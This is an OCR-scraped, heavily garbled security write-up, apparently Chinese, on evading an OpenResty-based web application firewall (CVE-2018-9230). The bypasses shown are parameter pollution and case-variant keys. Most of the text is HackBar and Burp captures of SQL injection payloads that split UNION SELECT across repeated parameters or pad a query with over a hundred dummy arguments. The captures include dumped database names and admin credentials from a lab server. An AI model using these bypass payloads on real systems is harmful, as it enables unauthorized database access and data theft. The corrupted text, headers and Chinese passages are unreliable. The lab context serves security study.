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AR -

“server { listen 80; server_name localhost;

location /test { content_by_lua_block { local arg = ngx.req.get_uri_args() for k,v in pairs(arg) do ngx.say("[GET ]
key:", k, " v:", v) end ngx.req.read_body() local arg = ngx.req.get_post_args() for k,v in pairs(arg) do ngx.say("
[POST] key:", k, "v:", v)end } } }

L

root@localhost /1# curl '127.0.0.1/test?id=1&i1d=2&1d=3&1d=4"
] key:id v:1234
~oot@localhost /]1# curl '127.0.0.1/test?id=1&Id=2&1D=3&ID=4"

] key:ID wv:4
] key:iD :
] key:Id

] key:id
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http://192.168.8.147/test/sqgl.aspx

?id=1 UNION/&ID=/SELECT null,name,null/&ld=/FROM master.dbo.sysdatabases

@ Load URL | htipy//192.168.8.147/test/sqlaspftidF 1 UNION/**{SELEC’I null,name,null/*&Id$*/FROM master.dbo.sysdatabases
% split URL

b Execute

[1 Enable Post data [ ] Enable Referrer
PTIEGD:
select * from admin where id=1 UNION/**/SELECT null,name,null/*,*/FROM master.dbo.sysdatabases
S5

id|username | password

master

model
msdb
Northwind
pubs

siteMonitor
tempdb
test

1 |aaa 123asd
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render | ViewState

POST /tE.‘st/.‘sql.a.‘spx}l,\.d:l%:UunJ.Dn/ * JETTP/ 1.1

Y
Host: 192.168.125.140 r O000: <br>select * from admin where id=1 union/*,2%/select null,null,system user/*,*/from
User—Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:55.0) admin<br>000:
Gecko/Z0100L0L Firefox/55.0 <!DOCTYPE html>
Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, */*;gq=0.8
Accept-Language: zh—-CHN, zh;q=0.8, =n-US;g=0.5,=n; q=0.3 <heml Erhtep://www. w3 org/ 1999/ <html ">

Accept-Encoding: gzip, deflate
Content-Type: application/x-www—form-urlencoded

meta http-equiv="Content-Type" content="text/html: charsec=ucf-8" /x<title>

Content-Length: 36 </title></head>
Cookis: ASPSESSTONIDSCCRRDQA=CDEBEINAEOFFHCOJDATFFPFF; ] <body>
ASP.MET Sessionld=lwhcdrzlzxelyrd55ailucss; [id=*/from admin | <form name="forml" method="post" action="sgl.aspx?id=l+union%2£*" id="forml">
Connection: keep-aliwve <divy
Upgrade-Insecurse-Recquests: 1 <input type="hiddsn" name="_ VIEWSTATE" id="__ VIEWSTATE"
value="/vEPDWwUKLTU3MDAI M3 I3MASKFgICBASKFyICAQEBKvAL AghPF gy CERRAGFLZX 1 zF gheC LBhSXR 1L UNvAWSD AT
fe=z#/s=lect aull, null, system ussr/* | =CVBhZ2VDh3VudATEHRVE IURhAGF Th3VyY2VIAGVEQ2 S 1bnaC AmOKF Cs ALz wr AACEABY THgp I ZWFkZXIUEXDOBQIpZB4IR

GFOYUZPZWxkBQIpZE40UZSydEVAcHI 1c3Nph2 4F AmlkHghS ZWF kT2 532 WgB KVAEAQAUCEBEEQh e VybmF t ZREFBQh eV
ybwF£ZREGEQhle2VybnF £ ZREHaDwr ALQEABY THwQFCHEhe3M3b3 JkHwUF CHEhe 3M3h3 JkHwYFCHEhe 3M3h 3 JkHwdoF gdnl
ZOWBATEDZ QWEMTFDx YCHYRUZXhOBOVrbind zcDrk ZATBDwOWARS I />

</divs

<div>

= cellspacing="0" cellpadding="4" rules="all" border="1" id="DgData"
style="backgr :olor:White;border-color:#3366CC;border-width: 1px;border-style:None; width:20
3pxi;border-collapse: Had
<tr class="hesad" : oo lor:#CCCCFF:background-color 1 #003399; font-weight:bold: ">
<td>id</td><td>u: </td><td>password</td>
</tr><tr style="color:#003399;b nd-color:White; ">

<td>&nbsp ;</td><cd>&nbsp;</Td>

PL

SFITEB= ¢ uriSEGEL
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EIABRT , @idngx.req.get_uri_args, ngx.req.get_post_args¥kERuris#l , REEFRENEI1001MNSEL , HiRAT
101188 |, urisgimd | TAEFREEE 100LAGHESEE | EFngx luafFRRIZER , TiENEERR
U1 00NMNAEHISEH TR L 2N , NfisidZehH. EADmEIEENE—RXE : (FIBRET
OpenRestyRYWEBZ £/ ( CVE-2018-9230 ) )

Mysql BypasssLffl

€ (| 192.168.8.147 /test/Fqlphplid=1&id=1&id=1&id=1&id=18&id=1&id=1&id=1&id=1&id=1&id=1! | & @& Q &z B +Ae 9 - =
INT ~| = @ SOl XSS+ Encryptions Encoding- Other
@ Load URL | &id=1&id=1&id=18id=18id=1&id=18id=18&id=18id=1&id=18&id=18id=18id=1&id=18id=18&id=18id=1&id=18id=18&id=1&id=1&id=1&id=18&id=18&id=1&id=18&id=18&id=1&id=1&id=1&id=1& -

gg split URL id=18id=18&id=1&id=18id=18&id=18id=18&id=1&id=18&id=18&id=1&id=18id=18&id=18&id=1&id=1&id=18id =18&id=1&id=18id=18id=18id =1&id=1&id=18&id=18&id=1&id=18&id=18id =1 &id=1&id=1&
- id=180d=18&id=1&id=18&id=18&id=18&id=18&id=1&id=18&id=18&id=1&id=18&id=18&id=18&id=1&id=1&id=18id=1&id=1&id=18&id=18&id=18id=1&id=1&id=18id=18&id=1&id=1&id=18&id=1&id=1&id=1&
id:1&id:1&id%‘l union select 1,schema_name,3 from INFORMATION_SCHEMA schemata v

[] Enable Post data [ ] Enable Referrer

}) Execute

1 admin

1 information_schema

1 mysql Tlunion select B EHE
1 performance_schema

1 sqlol

1 test

SELECT * FROM admin WHERE id = 1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata

Mssql BypasssLffl

€ O 192.168.8.147/test\'d:I/”&id:“!/’&id:",f,f’&i(l="/'/"’&id=*//'"‘&id=*//*&id=*//*&id:"‘/,/*- ¢ @ Q&s wBa ¥ & e 2| - =
INT v = @ SQL- XSS+ Encryption- Encodings Other-

@ load URL | //Bid="f/&id="//*Btid="//*&id="//*8id="//*Bid="f/*&id="//Btid="//*&tid="//* Bid="//*Buid="//*&id="/Blid="//* Bid="//*Bid="//*Bid="{/*&id="//*&id =*//*Bid="//* Bid="//*Bid="//*&id =*/*&id=" ~
0 splituRL | //Bud="//8id="/ 8id=/8id =" Buid=") 8id="[Bid ="/ =/ 8id="[ &id=") " 8id=""Buid ="/ ["Bid ="/["Buid ="/ ~8iid="/ " &id="["Buid ="/ "Bid =" [Bid ="/ "id =/ &uid ="/ &id =" ["8ic="
= J1aid="/gid="/ " &id="//" &id="//&id="/"&id ="/ &id="//"Rid="//*&id="// &id="/"&id="//*&id="//Rid="{/*&id="//&id="//"&id ="/ /&id="//&id =*{/*&id="//&id="//&id ="/ /~&id =*//&id ="

v Execute /,l*&id:w*&id:*,','*&id:*//*&id:vﬁa{id:*,.' union select null table_name,null from INFORMATION_SCHEMA tables \ v
[ Enable Post data [] Enable Referrer
HUTIEG):

select * from admin where id="1/%2//**//**1/**/1* *11* 211> 255
V2 L Lt Tl T T T VA Vil L VN LT T T
VLA LT G i AT T AT T AT T T T A T
INFORMATION_SCHEMA tables

VA VA VA TV T T VA Ve Tl A T D VA T T T TR T Ve T T
R T T Vi Vi T Tt Vi Vi Vil Tl T T A Vi Vi D Tl T T i i Vi Pl Tl T T
LSRR R AR R F ] union select null table_name,null from

=N
admin A

dirs /

sqlmapoutput

sysconstraints

syssegments
1 |aaa 123asd

0x03 END
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